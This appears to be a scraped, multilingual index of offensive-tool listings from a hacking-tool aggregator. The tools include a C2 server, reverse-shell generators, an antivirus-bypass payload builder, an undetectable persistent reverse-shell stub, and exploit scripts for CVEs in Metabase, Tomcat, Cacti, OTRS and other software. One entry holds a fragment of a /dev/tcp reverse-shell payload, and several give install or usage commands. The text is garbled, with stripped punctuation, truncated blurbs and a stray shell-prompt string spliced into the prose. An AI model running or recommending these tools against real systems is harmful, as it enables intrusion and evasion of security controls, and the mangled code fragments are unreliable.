RedbloodC2

Version publique de Redblood C2 root@kitploit: This is a simple command and control server to handle sessions and your victims installation root@kitploit: $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js Utilisation root@kitploit: After instal...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

PwnLnX

PwnLnX Продвинутый многопоточный , многоклиентский Python-обратный шелл для взлома Linux-систем. Ещё есть над чем работать, так что не стесняйтесь помогать в разработке. Отказ от ответственности : Данный обратный шелл должен использоваться только для законного удалённого администрирования...

AVBypass

Protection anti-contournement d'antivirus exigences golang installé utilisation root@kitploit: 1 - create your payload go run create.go e.g: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - in output folder you will find shell.go compile it go build shell.go...

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE CVE-2023-38646 POC Это скрипт, написанный на Python, который позволяет эксплуатировать уязвимость безопасности в программном обеспечении Metabase , описанную в CVE-2023-38646. Система уязвима в версиях ниже 0.46.6.1 для редакции с открытым исходным кодом и ниже 1.46.6.1 для...

CVE-2022-22963-POC

Эксплойт CVE-2022-22963 Описание В Spring Cloud Function версий 3.1.6, 3.2.2 и более старых неподдерживаемых версий при использовании функции маршрутизации возможно, что пользователь предоставит специально созданный SpEL в качестве routing-expression, что может привести к удаленному выполнению ко...

fudshell

fudshell Un script efficace pour générer un reverse shell persistant FUD pour le Red Teaming. Ne téléchargez pas le stub généré sur VirusTotal Avertissement: root@kitploit: Ne téléchargez aucun payload sur VirusTotal. S'il est détecté, faites-le moi savoir... je mettrai à jour le stub. Si vous av...

siemframework

SIEMS FRAMEWORK MultiSIEM Modular Python3 Attack Framework Par ElevenPaths https://www.elevenpaths.com/ Utilisation : python3 ./siemsframework.py INTRODUCTION Les SIEM sont des outils défensifs de plus en plus utilisés dans le domaine de la cybersécurité, notamment par les grandes entreprises et...

mediator

Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create...

mediator

Mediator est un reverse shell chiffré de bout en bout dans lequel l'opérateur et le shell se connectent à un serveur « médiateur » qui fait le pont entre les connexions. Cela supprime le besoin pour l'opérateur/gestionnaire de configurer une redirection de port afin d'écouter la connexion. Mediat...

CVE-2022-22947

На основе кода Wang Zheng добавлены два типа reverse shell, проверка исходящего доступа. Если при запуске не хватает какого-либо модуля, просто установите его через pip. Введите подозрительный URL, обратите внимание — после порта не ставьте '/' 1. Сначала проверяем наличие уязвимости По умолчанию...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 — это критическая уязвимость, приводящая к удалённому выполнению кода RCE в Apache Tomcat. Уязвимость затрагивает версии 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81. Протестировано только на 8.0.24. Уязвимость использует неправильно настроенную...

Log4Shell-CVE-2021-44228-ENV

Log4Shell 재현 환경 예제 설명 피해자 IP: 47.47.47.47 공격자 IP: 48.48.48.48 피해자: 취약 Docker 실행 DockerFile을 사용하여 Docker 이미지 빌드 및 실행: root@kitploit: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln 공격자: 공격 Docker 실행 DockerFile을 사용하여 Docker 이미지 빌드 및 실행 root@kitploit: docker build . -t attack docker...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred 이 \space 익스플로잇은 \space 법을 \space 위반할 \space 수 \space 있습니다.$$ $$\colorred\space 당신은 \space 당신의 \space 행동에 \space 대해 \space 책임이 \space 있습니다.$$ $$\colorred시연 \space 목적 \space 전용.$$ 설명 open-webui에서 비관리자 사용자에 의한 CSRF를 통한 RCE 는 공격자가 내장된 자바스크립트가 포함된 악성 HTML 문서를 전송하여 역방향 셸을 포함...

CVE-2020-5752-Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell-

CVE-2020-5752: Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell- Druva inSync Windows Client 6.6.3 - локальное повышение привилегий PowerShell Модифицировано для получения Reverse Shell с системными привилегиями...

OTRS-4.0.1-6.0.1-Remote-Command-Execution

OTRS-4.0.1-6.0.1 Удаленное выполнение команд Этот эксплойт разработан на основе https://www.exploit-db.com/exploits/43853 Он выполняет аутентификацию на панели OTRS и предоставляет обратную оболочку. Usage: python3 CVE-2017-16921.py CVE-2017-16921: В OTRS 6.0.x до версии 6.0.1 включительно, OTRS...

put2win

put2win Script pour automatiser l'exploitation de la méthode HTTP PUT afin d'obtenir un shell. Installation root@kitploit: git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh Utilisation root@kitploit: Script to automate PUT HTTP method exploitation to get shell...

CVE-2022-46169

CVE 2022-46169 Этот скрипт эксплуатирует уязвимость неаутентифицированного внедрения команд в Cacti версиях до 1.2.22, чтобы достичь неаутентифицированного удаленного выполнения кода и получить обратную оболочку...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 원격 셸 CVE-2025-32433에 대한 Go 기반 익스플로잇으로 원격 bash 셸을 반환합니다. ProDefense의 CVE-2025-32433 PoC에서 파생된 익스플로잇 이해를 크게 참고했습니다. 익스플로잇 실행 root@kitploit: make exploit.exe는 크로스 컴파일 Makefile을 통해 Windows 머신에서도 사용할 수 있습니다. 그런 다음 익스플로잇 바이너리를 다음 2가지 방법 중 하나로 실행합니다: 명령 root@kitploit: ./exploit "" 참고: 명령의...

CVE-2022-24715

Icinga Web 2 - 인증된 원격 코드 실행 2.8.6, 2.9.6, 2.10 원격 명령 실행 리버스 셸 사용법 root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL http://ipvictima -U USER, --user USER Insert user -U user -P...